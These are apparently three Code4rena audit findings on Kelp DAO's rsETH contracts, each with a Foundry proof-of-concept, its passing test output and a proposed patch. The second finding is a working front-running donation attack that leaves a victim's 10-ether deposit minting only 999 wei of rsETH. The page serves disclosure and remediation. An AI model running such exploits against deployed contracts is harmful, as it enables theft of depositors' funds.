Kelp DAO | rsETH - ayden's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L52#L79 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L95#L110

Vulnerability details

Impact

The following user will receive a quantity of rsETH minted that is less than what they should have obtained。

The user invokes the depositAsset function to deposit a specific amount of SupportedAsset for mining a certain quantity of rsETH, which is calculated based on the asset's price and the rsETH price.

The price of SupportedAsset is based on chainlink Price feed. The three tokens involved in the protocol, namely rETH, stETH, and cbETH, have prices very close to the native ETH, with an assumed ratio of 1:1.

The price of rsETH is calculated via getRSETHPrice。We can observe that his calculation method involves dividing the price of the SupportedAsset included in the protocol by the total supply of rsETH。

The issue here is that users first transfer their SupportedAsset into the protocol and then proceed to calculate the price.This will ultimately lead to users receiving less rsETH than they should have obtained。

Proof of Concept

Assuming the price of SupportedAssets is 1:1 to native ETH. The below POC includes two users: the first one is Alice, and the second one is Bob。They sequentially transfer ether of rETH into the protocol。

When Alice performs her transaction, the rsEthSupply is expected to be 0, so the returned price is fixed at 1 ether。

Then, Bob also transfers 10 ether of rETH into the protocol. Since the calculation of the price occurs after the transfer, the totalETHInPool in the protocol is now 11 ether. However, at this point, the rsEthSupply is still 1 ether because the calculation of the rsETH amount is performed only after obtaining the price, followed by minting the specified quantity of tokens。

The following is my complete POC written in Foundry code：

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { BaseTest, MockToken } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {LRTOracle} from "src/LRTOracle.sol";
import "../lib/forge-std/src/console2.sol";

contract MockPriceOracle {
    function getAssetPrice(address) external pure returns (uint256) {
        return 1 ether;
    }
}

contract PoolTest is BaseTest , RSETHTest {
    LRTDepositPool public lrtDepositPool;
    LRTOracle oracle ;
    MockToken public rsETHMock;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        rsETHMock = new MockToken("rsETH", "rsETH");

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));
        lrtDepositPool.initialize(address(lrtConfig));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        //init oracle.
        LRTOracle LRTOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy LRTOracleProxy = new TransparentUpgradeableProxy(
            address(LRTOracleImpl),
            address(proxyAdmin),
            ""
        );
        oracle = LRTOracle(address(LRTOracleProxy));

        // add oracle to LRT config
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(oracle));
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);

        oracle.initialize(address(lrtConfig));

        vm.stopPrank();
        vm.startPrank(manager);
        //updatePriceOracleFor
        oracle.updatePriceOracleFor(address(rETH),address(new MockPriceOracle()));
        oracle.updatePriceOracleFor(address(stETH),address(new MockPriceOracle()));
        oracle.updatePriceOracleFor(address(cbETH),address(new MockPriceOracle()));
        vm.stopPrank();
    }

    function testFirstDesopitAndSecondDeposit() public {
        vm.startPrank(alice);

        //alice approve 1 ether to lrtDepositPool
        rETH.approve(address(lrtDepositPool), 1 ether);
        lrtDepositPool.depositAsset(address(rETH), 1 ether);

        uint256 alicereETHBalanceAfterDeposit = rseth.balanceOf(address(alice));
        assert(alicereETHBalanceAfterDeposit == 1 ether);


        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(address(rETH), 10 ether);

        uint256 bobreETHBalanceAfterDeposit = rseth.balanceOf(address(bob));
        assert(bobreETHBalanceAfterDeposit < 1 ether);
    }
}

We can see the first user alice transfer 1 ether rETH and get 1 ether rsETH The second bob transfer 10 ether rETH and get less then 1 ether rsETH. This results in significant losses for users minting afterwards.

Here goes the output of test:

Compiler run successful!

Running 1 test for test/PoolTest.sol:PoolTest
[PASS] testFirstDesopitAndSecondDeposit() (gas: 311742)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.07ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

foundry,vscode

Recommended Mitigation Steps

We should calculate the price of rsETH before users transfer supported assets, rather than after they have been transferred。

     /*//////////////////////////////////////////////////////////////
@@ -133,13 +133,13 @@ contract LRTDepositPool is ILRTDepositPool, LRTConfigRoleChecker, PausableUpgrad
             revert MaximumDepositLimitReached();
         }

+        // interactions
+        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);
+
         if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
             revert TokenTransferFailed();
         }

-        // interactions
-        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);
-
         emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
     }

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L119#L144 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L52#L79

Vulnerability details

Impact

Malicious players can cause inflation by directly transferring to the contract, leading to subsequent users losing funds.

After the user transfers a specified quantity of supported assets into the contract, they receive a certain amount of rsETH。The quantity of rSETH that a user can obtain depends on two factors：

• 1. total eth in pool which is calculated via chainlink price feed
• 2. total supply of rsETH

We can examine the specific calculation process in the following code from LRTOracle.sol https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L52#L79

The issue here is that users can directly front-run the contract by transferring a certain quantity of supported assets. Malicious users do not need to spend too many tokens. In the following POC, the user used 0.01 ether to carry out the attack

Proof of Concept

Please note that the error in the price calculation method contained in depositAsset has been addressed in my previous submission. The following is the corrected code:

     /*//////////////////////////////////////////////////////////////
@@ -133,13 +133,13 @@ contract LRTDepositPool is ILRTDepositPool, LRTConfigRoleChecker, PausableUpgrad
             revert MaximumDepositLimitReached();
         }

+        // interactions
+        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);
+
         if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
             revert TokenTransferFailed();
         }
 
-        // interactions
-        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);
-
         emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
     }

Assuming Alice is the Malicious user and bob is victims. Assuming the price of supported assets is 1 ether. Let's break down the transaction process：

• 1.Malicious user Alice invoke depositAsset to transfer 1 wei rETH into the procotol.
• 2.Malicious user Alice transfer 0.01 ether rETH into the protocol pool.
• 3.Victims bob deposit 10 ether rETH into protocol via depositAsset
• 4.Victims bob only get 999 wei rETH as a result

The following code is a comprehensive test written using Foundry：

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { BaseTest, MockToken } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {LRTOracle} from "src/LRTOracle.sol";
import "../lib/forge-std/src/console2.sol";

contract MockPriceOracle {
    function getAssetPrice(address) external pure returns (uint256) {
        return 1 ether;
    }
}

contract PoolTest is BaseTest , RSETHTest {
    LRTDepositPool public lrtDepositPool;
    LRTOracle oracle ;
    MockToken public rsETHMock;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        rsETHMock = new MockToken("rsETH", "rsETH");

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));
        lrtDepositPool.initialize(address(lrtConfig));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        //init oracle.
        LRTOracle LRTOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy LRTOracleProxy = new TransparentUpgradeableProxy(
            address(LRTOracleImpl),
            address(proxyAdmin),
            ""
        );
        oracle = LRTOracle(address(LRTOracleProxy));

        // add oracle to LRT config
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(oracle));
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);

        oracle.initialize(address(lrtConfig));

        vm.stopPrank();
        vm.startPrank(manager);
        //updatePriceOracleFor
        oracle.updatePriceOracleFor(address(rETH),address(new MockPriceOracle()));
        oracle.updatePriceOracleFor(address(stETH),address(new MockPriceOracle()));
        oracle.updatePriceOracleFor(address(cbETH),address(new MockPriceOracle()));

        vm.stopPrank();
    }

    function testFrontRunDeposit() public {
        //let's say alice is the malicious user.
        vm.startPrank(alice);

        //alice approve 1 wei to lrtDepositPool
        rETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(address(rETH), 1);

        uint256 alicereETHBalanceAfterDeposit = rseth.balanceOf(address(alice));
        assert(alicereETHBalanceAfterDeposit == 1);

        rETH.transfer(address(lrtDepositPool), 0.01 ether);

        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(address(rETH), 10 ether);

        uint256 bobreETHBalanceAfterDeposit = rseth.balanceOf(address(bob));
        assert(bobreETHBalanceAfterDeposit == 999 wei);
    }
}

Here goes the output

$ forge test --match-test testFrontRunDeposit -vvv
[⠢] Compiling...
[⠃] Compiling 2 files with 0.8.21
[⠒] Solc 0.8.21 finished in 10.40s
Compiler run successful!

Running 1 test for test/Deposit.t.sol:PoolTest
[PASS] testFrontRunDeposit() (gas: 315369)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.09ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

As we can see the second user bob deposit 10 ether result in only mint 999 wei rsETH.

Tools Used

FOUNDRY,VSCODE

Recommended Mitigation Steps

Calculating the asset price directly through the balanceOf method in the contract may lead to unexpected issues. I believe there should be a global storage variable to record asset prices. This storage variable should only increase when users invoke the deposit method to mint rsETH

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L162#L176

Vulnerability details

Impact

Due to the absence of a method for removing NodeDelegator contracts in the pool contract, adding duplicate contracts without validation makes it impossible to remove them. Additionally, since NodeDelegator has a restriction in the form of maxNodeDelegatorCount, this situation may prevent the addition of new NodeDelegators despite the list not reaching the maximum allowed quantity due to the presence of duplicates

Proof of Concept

Here goes my POC written in foundry:

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { BaseTest, MockToken } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {LRTOracle} from "src/LRTOracle.sol";
import { NodeDelegator } from "src/NodeDelegator.sol";

contract MockPriceOracle {
    function getAssetPrice(address) external pure returns (uint256) {
        return 1 ether;
    }
}

interface IInitialize{
    function initialize(address lrtConfigAddr) external ;
}

contract PoolTest is BaseTest , RSETHTest {
    LRTDepositPool public lrtDepositPool;
    LRTOracle oracle ;
    MockToken public rsETHMock;
    ProxyAdmin proxyAdmin;
    address public nodeDel1;
    address public nodeDel2;
    address public nodeDel3;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        rsETHMock = new MockToken("rsETH", "rsETH");

        // deploy LRTDepositPool
        proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));
        lrtDepositPool.initialize(address(lrtConfig));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        //init oracle.
        LRTOracle LRTOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy LRTOracleProxy = new TransparentUpgradeableProxy(
            address(LRTOracleImpl),
            address(proxyAdmin),
            ""
        );
        oracle = LRTOracle(address(LRTOracleProxy));

        // add oracle to LRT config
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(oracle));
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);

        oracle.initialize(address(lrtConfig));

        vm.stopPrank();
        vm.startPrank(manager);
        //updatePriceOracleFor
        oracle.updatePriceOracleFor(address(rETH),address(new MockPriceOracle()));
        oracle.updatePriceOracleFor(address(stETH),address(new MockPriceOracle()));
        oracle.updatePriceOracleFor(address(cbETH),address(new MockPriceOracle()));

        vm.stopPrank();
    }

    function createNewNode() private returns (address nodeDel) {
        NodeDelegator nodeDelImpl = new NodeDelegator();
        TransparentUpgradeableProxy nodeDelProxy = new TransparentUpgradeableProxy(
            address(nodeDelImpl),
            address(proxyAdmin),
            ""
        );

        nodeDel = address(nodeDelProxy);
        IInitialize(nodeDel).initialize(address(lrtConfig));
    }

    function testNodeDelegatorDumplicated() public {
        //create three nodes.
        nodeDel1 = createNewNode();
        nodeDel2 = createNewNode();
        nodeDel3 = createNewNode();

        address[] memory nodeDelegatorContracts = new address[](3);
        nodeDelegatorContracts[0] = address(nodeDel1);
        nodeDelegatorContracts[1] = address(nodeDel2);
        nodeDelegatorContracts[2] = address(nodeDel3);

        vm.startPrank(admin);
        //add above nodes to pool.
        lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts);

        lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorContracts);

        address[] memory nodes = lrtDepositPool.getNodeDelegatorQueue();
        assertEq(nodes.length , 6);
    }
}

We can see that 3 NodeDelegator contracts have been created. If the administrator makes repeated calls to the LRTDepositPool.sol.addNodeDelegatorContractToQueue method during the addition process, it is possible to add duplicates . And this could result in consequences that may not be removable

Tools Used

FOUNDRY,VSCODE

Recommended Mitigation Steps

@@ -21,6 +21,7 @@ contract LRTDepositPool is ILRTDepositPool, LRTConfigRoleChecker, PausableUpgrad

     address[] public nodeDelegatorQueue;

+    mapping(address => bool) isAddToNodeDelegatorQueue;
     /// @custom:oz-upgrades-unsafe-allow constructor

@@ -167,6 +168,8 @@ contract LRTDepositPool is ILRTDepositPool, LRTConfigRoleChecker, PausableUpgrad

         for (uint256 i; i < length;) {
             UtilLib.checkNonZeroAddress(nodeDelegatorContracts[i]);
+            require(!isAddToNodeDelegatorQueue[nodeDelegatorContracts[i]],"already in use");
+            isAddToNodeDelegatorQueue[nodeDelegatorContracts[i]] = true;
             nodeDelegatorQueue.push(nodeDelegatorContracts[i]);
             emit NodeDelegatorAddedinQueue(nodeDelegatorContracts[i]);

Assessed type

Invalid Validation